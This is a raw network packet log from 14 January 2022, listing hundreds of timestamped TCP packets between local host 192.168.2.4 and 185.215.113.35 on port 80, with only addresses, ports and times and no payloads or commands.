Jan 14, 2022 12:30:14.632452011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.632530928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.632621050 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.632709980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.632798910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.632885933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.632976055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.633063078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.633162975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.633253098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.633342981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.633428097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.633524895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.633614063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.633702993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.633790016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.633882046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.633969069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.634154081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.634180069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.634563923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.634644985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.634653091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.634658098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.634663105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.634747982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.634816885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.634917021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.635000944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.635075092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.635164976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.635252953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.635348082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.635433912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.635529041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.635616064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.635704994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.635792017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.635895014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.635973930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.636068106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.636214018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.636404991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.636660099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.636869907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.636989117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.637129068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.637300014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.637397051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.637490034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.637578011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.637666941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.642728090 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.654746056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.654949903 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.655100107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.655219078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.655350924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.655491114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.655618906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.655746937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.655890942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.656028986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.656158924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.656296968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.656424999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.656560898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.656693935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.656831980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.656958103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.657094002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.657243013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.657505035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.657612085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.657701969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.657795906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.657881975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.658037901 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.658252001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.658354998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.658462048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.658535004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.658623934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.658711910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.658803940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.658890963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.658977032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.659070015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.659179926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.659275055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.659359932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.659454107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.659543037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.659627914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.659722090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.659811020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.659898043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.659990072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.660074949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.660202026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.660301924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.660388947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.660480022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.660571098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.660655975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.660748005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.660835981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.660922050 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.661012888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.661103010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.661201000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.661288977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.661377907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.661465883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.661550999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.661643982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.661729097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.661820889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.661910057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.661998034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.662087917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.662184954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.662427902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.662760973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.662909031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.663039923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.663252115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.663388968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.663538933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.663667917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.663820982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.663964033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.664096117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.664241076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.664375067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.664542913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.664661884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.664804935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.664933920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.689812899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.689955950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.690100908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.690246105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.690391064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.690521955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.690664053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.690788031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.690927029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.691055059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.691252947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.691384077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.691476107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.691569090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.691657066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.691745043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.691834927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.691922903 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.692008972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.692100048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.696929932 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.705845118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.706033945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.706131935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.706227064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.706322908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.706368923 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.706383944 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.706392050 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.706414938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.706546068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.706655979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.706801891 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.706886053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.706984043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.707066059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.707287073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.707464933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.707617044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.707742929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.707886934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.708009958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.711133957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.711270094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.711365938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.711441994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.711528063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.711610079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.711694002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.711776018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.711860895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.711937904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.712028027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.712105036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.715677023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.715820074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.715887070 CET	80	49916	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.715904951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.716017962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.716053009 CET	49916	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.716176987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.716269970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.716357946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.716448069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.716538906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.716625929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.716711044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.716804028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.716891050 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.716981888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.717067003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.717173100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.717262983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.717350960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.717451096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.717535019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.717612982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.717700958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.717780113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.717889071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.717967033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.718053102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.718220949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.718321085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.718406916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.718498945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.718589067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.718676090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.718765974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.718852997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.718940973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.719028950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.719116926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.719224930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.719304085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.719388962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.719470024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.719552040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.719636917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.719721079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.719800949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.719885111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.719963074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.720050097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.720130920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.720340967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.720483065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.720599890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.720731974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.720854998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.720988989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.721102953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.721249104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.721365929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.721498013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.721633911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.721771002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.722012997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.724283934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.724397898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.724493980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.724575996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.724657059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.724745989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.724824905 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.724911928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.724992990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.725075006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.725167036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.725253105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.725336075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.725421906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.741233110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.741344929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.741440058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.741532087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.741626978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.741718054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.741810083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.741899014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.741990089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.742082119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.742257118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.742357016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.742449999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.742542028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.742629051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.742722034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.742814064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.742903948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.742995024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.743087053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.743186951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.743277073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.743367910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.743459940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.743551970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.743643999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.743731976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.743825912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.743921041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.744008064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.744093895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.744198084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.744290113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.744379044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.744477034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.744569063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.744657993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.744756937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.744843006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.744992018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.745038986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.745131016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.745290041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.745372057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.745475054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.745553017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.745647907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.745737076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.745831966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.745935917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.746015072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.746108055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.746238947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.746334076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.746422052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.746520042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.746608019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.746701002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.746794939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.746877909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.746972084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.747104883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.747159004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.747260094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.747383118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.747442961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.747533083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.747627020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.747719049 CET	49914	80	192.168.2.4	185.215.113.35
